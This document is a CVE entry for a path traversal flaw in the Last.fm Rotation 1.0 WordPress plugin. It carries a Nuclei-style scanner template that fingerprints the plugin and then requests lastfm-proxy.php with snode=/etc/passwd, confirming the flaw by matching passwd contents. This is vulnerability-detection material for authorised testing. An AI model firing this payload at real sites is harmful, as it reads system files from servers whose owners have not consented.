CVE-2014-5181: Last.fm Rotation 1.0 - Path Traversal

2025-08-01 Last.fm Rotation 1.0 PoC Public

Description

Directory traversal vulnerability in lastfm-proxy.php in the Last.fm Rotation (lastfm-rotation) plugin 1.0 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the snode parameter.

PoC

id: CVE-2014-5181

info:
  name: Last.fm Rotation 1.0 - Path Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Directory traversal vulnerability in lastfm-proxy.php in the Last.fm Rotation (lastfm-rotation) plugin 1.0 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the snode parameter.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to the latest version of the plugin or apply security patches to fix the vulnerability.
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5181
    cwe-id: CWE-22
    epss-score: 0.04259
    epss-percentile: 0.90558
    cpe: cpe:2.3:a:last.fm_rotation_plugin_project:lastfm-rotation_plugin:1.0:*:*:*:*:wordpress:*:*
  metadata:
    vendor: last.fm_rotation_plugin_project
    product: lastfm-rotation_plugin
    framework: wordpress
  tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,lastfm-rotation,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/lastfm-rotation/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/lastfm-rotation/lastfm-proxy.php?snode=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206443281637fc0d965a86c67bb62e11f927391a88e2c38f2e5227f7d47bc0cc3c022100d2dc6492af31b853a053f09144b9e859a2a403eed394b60fc0d2299456ef8dac:922c64590222798bb761d5b6d8e72950

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